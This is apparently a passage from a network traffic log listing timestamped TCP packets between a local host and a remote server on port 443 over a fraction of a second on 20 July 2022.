Jul 20, 2022 13:24:37.711267948 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.711267948 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.711281061 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.711294889 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.711349010 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.711369991 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.711402893 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.711405993 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.711436987 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.711815119 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.711908102 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.712007046 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.712038040 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.712153912 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.712174892 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.712188959 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.712296009 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.712320089 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.712393045 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.712404013 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.712428093 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.712497950 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.713352919 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.713381052 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.713498116 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.713521004 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.713574886 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.722364902 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.722404003 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.722425938 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.722466946 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.722604036 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.722628117 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.722640038 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.722645998 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.722654104 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.722707987 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.722713947 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.725228071 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.725276947 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.725419044 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.725434065 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.725478888 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.725486040 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.725608110 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.725649118 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.725657940 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.725720882 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.725764036 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.725887060 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.726125956 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.728492022 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.728533983 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.728746891 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.728760958 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.728794098 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.728840113 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.728856087 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.728874922 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.728967905 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.729073048 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.729074001 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.729129076 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.729160070 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.729187012 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.729249001 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.729296923 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.729327917 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.729444027 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.729460955 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.729471922 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.729722977 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.729780912 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.729841948 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.730525017 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.730560064 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.730671883 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.730705976 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.730722904 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.730880976 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.730920076 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.731003046 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.731014967 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.731031895 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.731041908 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.731050014 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.731120110 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.731158972 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.731163025 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.731164932 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.731174946 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.731184959 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.731261015 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.731275082 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.731313944 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.731362104 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.732125998 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.732247114 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.732280016 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.732335091 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.732366085 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.732388973 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.732414007 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.732445955 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.732507944 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.732541084 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.732614040 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.732640028 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.732696056 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.732722998 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.732815027 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.732927084 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.733339071 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.733375072 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.733413935 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.733450890 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.733474970 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.733495951 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.733568907 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.733582973 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.733620882 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.733643055 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.733644009 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.733716011 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.733939886 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.734158039 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.734209061 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.734285116 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.734718084 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.734756947 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.735025883 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.735048056 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.735162973 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.735444069 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.735568047 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.741698980 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.741741896 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.741997957 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.742027044 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.742278099 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.742320061 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.742362976 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.742495060 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.742510080 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.742522001 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.743637085 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.743669987 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.743828058 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.743855953 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.743917942 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.744529009 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.745728016 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.745923042 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.746016026 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.746035099 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.746049881 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.746090889 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.746206045 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.746218920 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.746227980 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.746485949 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.746840000 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.746886015 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.747026920 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.747045040 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.747061014 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.747288942 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.747306108 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.747334957 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.747410059 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.747437000 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.747466087 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.747487068 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.747706890 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.747750998 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.747833967 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.747848034 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.747879028 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.748296976 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.748337984 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.748390913 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.748406887 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.748424053 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.748460054 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.748516083 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.748523951 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.748553991 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.748560905 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.748569965 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.748583078 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.748703003 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.748761892 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.748774052 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.748862028 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.748878956 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.748895884 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.748944044 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.748961926 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.748980045 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.749027967 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.749205112 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.749314070 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.749385118 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.749422073 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.749497890 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.749526024 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.749542952 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.749579906 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.749691963 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.749767065 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.750297070 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.750330925 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.750442028 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.750458002 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.750478029 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.750510931 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.750550032 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.750598907 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.750603914 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.750622034 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.750662088 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.750673056 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.750690937 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.750701904 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.750792980 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.750797987 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.750812054 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.750824928 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.750828028 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.750832081 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.750863075 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.750874996 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.750894070 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.750927925 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.750971079 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.750973940 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.750992060 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.751020908 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.751059055 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.752279043 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.752310991 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.752409935 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.752429962 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.752444029 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.752661943 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.752692938 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.752758026 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.752798080 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.752815962 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.752829075 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.752834082 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.752866030 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.752880096 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.753431082 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.753463984 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.753546953 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.753571987 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.753607035 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.753631115 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.753645897 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.753772020 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.754079103 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.754106998 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.754167080 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.754187107 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.754203081 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.754235029 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.754318953 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.754384041 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.754414082 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.754600048 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.754792929 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.754827023 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.754921913 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.754939079 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.754997969 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.755460024 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.755515099 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.755546093 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.755621910 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.755645990 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.755687952 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.755691051 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.755719900 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.755723953 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.755817890 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.755832911 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.755882025 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.756122112 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.756167889 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.756218910 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.756233931 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.756326914 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.756812096 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.756968975 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.757004023 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.757106066 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.757126093 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.757138014 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.757289886 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.758217096 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.758244991 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.758383989 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.758407116 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.758421898 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.758886099 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.758919001 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.758981943 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.759002924 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.759040117 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.759054899 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.759068966 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.759083033 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.759113073 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.759170055 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.759196043 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.759229898 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.759260893 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.759275913 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.759310961 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.759443998 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.759460926 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.759474993 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.759489059 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.759632111 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.759660959 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.759661913 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.759670973 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.759676933 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.759785891 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.759814024 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.759835005 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.759838104 CEST	50603	443	192.168.2.7	80.67.82.211
